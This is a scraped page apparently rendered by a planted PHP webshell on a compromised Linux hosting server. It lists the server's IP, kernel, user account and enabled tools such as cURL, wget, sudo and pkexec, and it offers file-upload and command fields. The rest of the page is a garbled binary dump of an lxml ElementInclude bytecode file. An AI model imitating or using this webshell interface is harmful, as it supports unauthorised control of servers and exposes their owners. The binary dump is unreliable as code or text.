- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 13.59.135.139
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib64/python3.6/site-packages/lxml/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.6/site-packages/lxml/__pycache__/ElementInclude.cpython-36.pyc
3

�0�Z��@s�dZddlmZyddlmZddlmZWn,ek
rXddlmZddl	mZYnXdZ
e
dZe
dZe
dZ
Gd	d
�d
ej�Zddd
�Zddd�Zdd�Zddd�Zddd�ZdS)a
Limited XInclude support for the ElementTree package.

While lxml.etree has full support for XInclude (see
`etree.ElementTree.xinclude()`), this module provides a simpler, pure
Python, ElementTree compatible implementation that supports a simple
form of custom URL resolvers.
�)�etree)�urljoin)�urlopenz!{http://www.w3.org/2001/XInclude}�includeZfallback�*c@seZdZdS)�FatalIncludeErrorN)�__name__�
__module__�__qualname__�rr�&/usr/lib64/python3.6/ElementInclude.pyrGsrNcCsHt|d�}|dkr"tj|�j�}n|j�}|s2d}|j|�}|j�|S)N�rb�xmlzutf-8)�openr�parse�getroot�read�decode�close)�hrefr�encoding�file�datarrr�default_loaderWs

rcCs\|dkrtj||�j�}n>d|kr,t|�}n
t|d�}|j�}|j�|sNd}|j|�}|S)Nrz://r
zutf-8)rrrrrrrr)rrr�parserr�frrr�_lxml_default_loadergs


rcsd�fdd�	}|S)Ncs�|||�S)Nr)rrrr)�loaderrr�loadzsz_wrap_et_loader.<locals>.load)NNr)rrr)rr�_wrap_et_loaderysrcCs`|dkr<t|d�r |}|j�}n|j�}t|d�rN|jj}nt|d�rN|j�}t|||d�dS)Nr�docinfo)�base_url)�hasattrr�getroottreer ZURL�_include)�elemrr!Ztreerrrr�s




cCs�|dk	rt|�}nt}|dkr$t�}|j�j}t|jt��}�x�|D�]�}|jt	k�r�t
||jd��}|jdd�}	|j�}
|	dk�r||kr�t
d|��|j|�|||	|d�}|dkr�t
d||	f��t|||�}|jr�|jp�d|j|_|
dkr�|S|
j||�n�|	dk�r�|||	|jd	�d
�}|dk�r>t
d||	f��|j�}
|
dk	�rd|
j�pZd||
_n,|
dk�rr|S|
j�p|d||j�p�d|
_|
j|�nt
d|	��qD|jtk�r�|j�}
|
dk	�r�|
jt	k�r�t
d|j��qDt
d
|j��qDW|S)Nrrrz recursive include of %r detected)rzcannot load %r as %r��textr)rz)unknown parse type in xi:include tag (%r)z0xi:fallback tag must be child of xi:include (%r)z0Invalid element found in XInclude namespace (%r))rr�setr#r�list�iter�XINCLUDE_ITER_TAG�tag�XINCLUDE_INCLUDEr�getZ	getparentr�addr$�tail�replaceZgetpreviousr'�remove�XINCLUDE_FALLBACK)r%rZ
_parent_hrefsr!Zload_includerZinclude_elements�err�parentZnoder'Zpredecessorrrrr$�sd








r$)N)NN)NN)NNN)�__doc__ZlxmlrZurlparserZurllib2r�ImportErrorZurllib.parseZurllib.requestZXINCLUDEr-r3r+ZLxmlSyntaxErrorrrrrrr$rrrr�<module>3s"




Youez - 2016 - github.com/yon3zu
LinuXploit